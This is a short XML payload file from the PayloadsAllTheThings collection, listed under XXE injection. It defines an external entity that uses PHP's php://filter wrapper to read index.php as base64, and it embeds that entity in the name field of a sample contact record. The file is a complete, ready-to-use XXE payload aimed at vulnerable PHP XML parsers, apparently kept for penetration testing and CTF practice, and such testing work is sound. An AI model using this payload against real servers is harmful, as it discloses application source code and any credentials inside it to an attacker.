PayloadsAllTheThings/XXE Injection/Files/XXE PHP Wrapper.xml
2019-03-07 00:07:55 +01:00

10 lines
303 B
XML

<!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
<contacts>
<contact>
<name>Jean &xxe; Dupont</name>
<phone>00 11 22 33 44</phone>
<adress>42 rue du CTF</adress>
<zipcode>75000</zipcode>
<city>Paris</city>
</contact>
</contacts>